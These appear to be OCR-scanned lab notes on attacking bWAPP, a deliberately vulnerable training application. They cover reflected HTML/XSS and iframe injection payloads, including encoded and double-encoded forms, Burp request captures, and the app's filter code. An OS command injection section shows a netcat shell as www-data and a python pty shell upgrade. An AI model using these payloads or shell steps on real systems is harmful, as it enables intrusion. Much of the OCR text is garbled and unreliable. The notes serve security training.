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HTML injection(XSS)

set security level as low R i 5, 1F 5 gt o] LAge it

http://192.168.170.130/bWAPP/htmli_get.php?firstname=%25%33%63script%25%33%65alert(/XSS/)%25%33%63/scri
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function xss_check_1($data)

{

// Converts only "<" and ">" to HTLM entities
$input = str_replace("<", "&Lt;", $data);
$input = str_replace(">", "&gt;", $input);

// Failure is an option

// Bypasses double encoding attacks

// <script>alert(@)</script>

// %3Cscript%3Ealert%280%29%3C%2Fscript%3E

// %253Cscript%253Ealert%25280%2529%253C%252Fscript%253E
$input = urldecode($input);

return $input;
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http://komorebi0122.blogspot.com/2016/12/medium-html-injection-reflected-get.html
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HTML Injection- Reflected(URL)
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case "0"
// $url = "http://" . $_SERVER["HTTP_HOST"] . urldecode($_ SERVER["REQUEST URI"]);

$url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
break;
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Request Response
j RaWT Params T Headers T Hex ] j RawT Headers T Hex T HTML T Render ]
GET A <td><font color="red">Welcome Bee</font></td>
/bWAPP/htmli_current url.php?id=xxx;alert [
(/xss/)</script> HTTP/1.1 </tr>
Host: 192.168.170.130<script>
User-Agent: Mozilla/5.0 (Macintosh; </table>
Intel Mac OS X 10.12; rv:54.0)
Gecko/20100101 Firefox/54.0 </div>
Accept:
text/html,application/xhtml+xml,applicatio <div id="main">
n/xml;g=0.9,%/*;g=0.8
Accept-Language: <hl1>HTML Injection - Reflected (URL)</hl>
zh-CN,zh;g=0.8,en-US;g=0.5,en;g=0.3
Cookie: security level=0; <p align="left">Your current URL:
PHPSESSID=e23f469e84a02909043d4a5d6df£d89 <i>http://192.168.170.130<script>/bWAPP/htmli_current_url.php
9 ?id=xxxjalert (/xss/)</script></i></p>
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Bad Request

Your browser sent a request that this server could not understand.

Apache/2.2 .8 (Ubuntu) DAV/2 mod_fastcgi/2 4.6 PHP/5.2 4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Server at 192.168.170.130;<script>alert(/xss/)</script> Port 80
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GET /bWAPP/htmli current url.php?id=xxx;Kscript>alert(/xss/);</script> HTTP/1.1

Host: 192.168.170.130

User—-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S8 X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;gq=0.9,*/*%;g=0.8

Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g=0.3

Cookie: security level=0; PHPSESSID=e23f469e84a02909043d4a5d6dffd899

Connection: close

Upgrade—-Insecure—Requests: 1
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case "1" :

$url = "<script>document.write(document.URL)</script>";
break;
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<div id="main">
<h1>HTML Injection - Reflected (URL)</hl>
<p align="left">Your current URL: <i><script>document.write(document.URL)</script></i></p>

</div>
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http://penthusiasts.blogspot.com/2013/12/bwapp-html-injection-all.html
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http://192.168.170.130/bWAPP/htmli_current_url.php#<script>alert(/xss/)</script>
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192.168.170.130/bWAPP/htmli_current_url.php#<script>alert(/xss/) </script>

[ NON Burp Suite Free Editiol
Burp Intruder Repeater Window Help

, Repeater T Sequencer T Decoder T Comparer T
, Target T Proxy T Spider

, Intercept T HTTP history TWebSockets history TOptions ]

' @ Request to http://192.168.170.130:80

[ Forward } [ Drop } [ Intercept is on ] [ Action

j RawT Params T Headers T Hex ]

{GET /bWAPP/htmli current url.php HTTP/1l.1

Host: 192.168.170.130

{User—Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.
Accept: text/html,application/xhtml+xml,application/xm
Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g=0.3
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/ HTML Injection - ReFlected (URL) /

Your current URL: http://192.168.170.130/bWAPP/htmli_current_url.php#%3Cscript%3Ealert(/xss
/)%3C/script%3E
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HTML Injection - Reflected (URL)
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Don't forget to set the security level to low or medium. With security level high you will notice that SQL injection is no longer applicable.
With security level high we are validating every user input. This is done with the MySQL real escape string function and with prepared
statements.
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while($row = $recordset->fetch_object())

{
// so if the security level is medium or high, there will be xss_check_3() to check xss
if($_COOKIE["security_level"] == "1" or $_COOKIE["security_level"] == "2")
{

?>

<tr height="40">
<td align="center"><?php echo $row->id; ?></td>
<td><?php echo $row->owner; ?></td>

<td><?php echo $row->date; ?></td>
<td><?php echo xss_check_3($row->entry); ?></td>
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<div id="main">

<hl>iFrame Injection</hl>

<iframe frameborder="0" src="javascript:alert(1l)" height="250" width="250"></iframe>
</div>
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/bWAPP/iframei.php?ParamUrl=="%20onload%3dalert(/xss/)></iframe>//&ParamWidth=250&ParamHeight=250

<div id="main">
<hl>iFrame Injection</hl>
<iframe frameborder="0" src="" onload=alert(/xss/)></iframe>//" height="250" width="250"></iframe>

</div>
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"%200onload%3dalert(/xss/)></iframe>//



GET request to /bWAPP/iframei.php

Type 'Name | Value

(URL ¥J ParamUrl| robots.txt

URL ParamWidth "onload=alert(/xss/)></iframe>//
URL ParamHeight " onload=alert(/xss/)></iframe>//
Cookie security_level 1

Cookie PHPSESSID 02895411e383e1138b979c2e52c5610b
¥ Hixss

<div id="main">
<hl>iFrame Injection</hl>

<iframe frameborder="0" src="robots.txt"” height="\" onload=alert(/xss/)></iframe>//" width="\"
onload=alert (/xss/)></iframe>//"></iframe>

</div>
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if($_COOKIE["security level"] == "1" || $_COOKIE["security level"] == "2")
{

?>
<iframe frameborder="0" src="robots.txt" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?p
<?php

}

LDAP injection(search)
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OS Command Injection
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bee@bee-box:/var/www/bWAPP$ netstat -plant|grep 4444

(Not all processes could be identified, non-owned process info

will not be shown, you would have to be root to see it all.)

tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN =
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nc -vv 192.168.170.130 4444

S8 il i python$h AT spawnts 1| — M #7177 (1122 T 3(shell

bee@bee-box:/var/www/bWAPP$ nc -vv 192.168.170.130 4444

bee-box.local [192.168.170.130] 4444 (?) open

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

uname -a

Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686 GNU/Linux
python -c "import pty; pty.spawn("/bin/bash")"

python -c "import pty; pty.spawn('/bin/bash"')"

www-data@bee-box: /var/www/bWAPP$

www-data@bee-box: /var/www/bWAPP$

www-data@bee-box: /var/www/bWAPP$
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www-data@bee-box: /var/www/bWAPP$ exit
exit
exit
exit

sent 118, rcvd 252
bee@bee-box:/var/www/bWAPP$

medium

I commandi.php BA —ANEAE.



case "0" : //low

$data = no_check($data);
break;
case "1" : //medium

$data = commandi_check 1($data);
break;

case "2" : //high

$data = commandi_check_2($data);
break;

function commandi_check_1($data)

{
$input = str_replace("&", "", $data);
$input = str_replace(";", "", $input);
return $input;
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function commandi_check_2($data)

{

return escapeshellcmd($data);

% escapeshellcmd() BR%

>>> doc escapeshellcmd
function escapeshellcmd($command)

shell TTFRERFENX

escapeshellemd() X FRIEFAESTIRIE shell MLHTERBINFAHETEN., MWRERIEAFBALN
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fishell.
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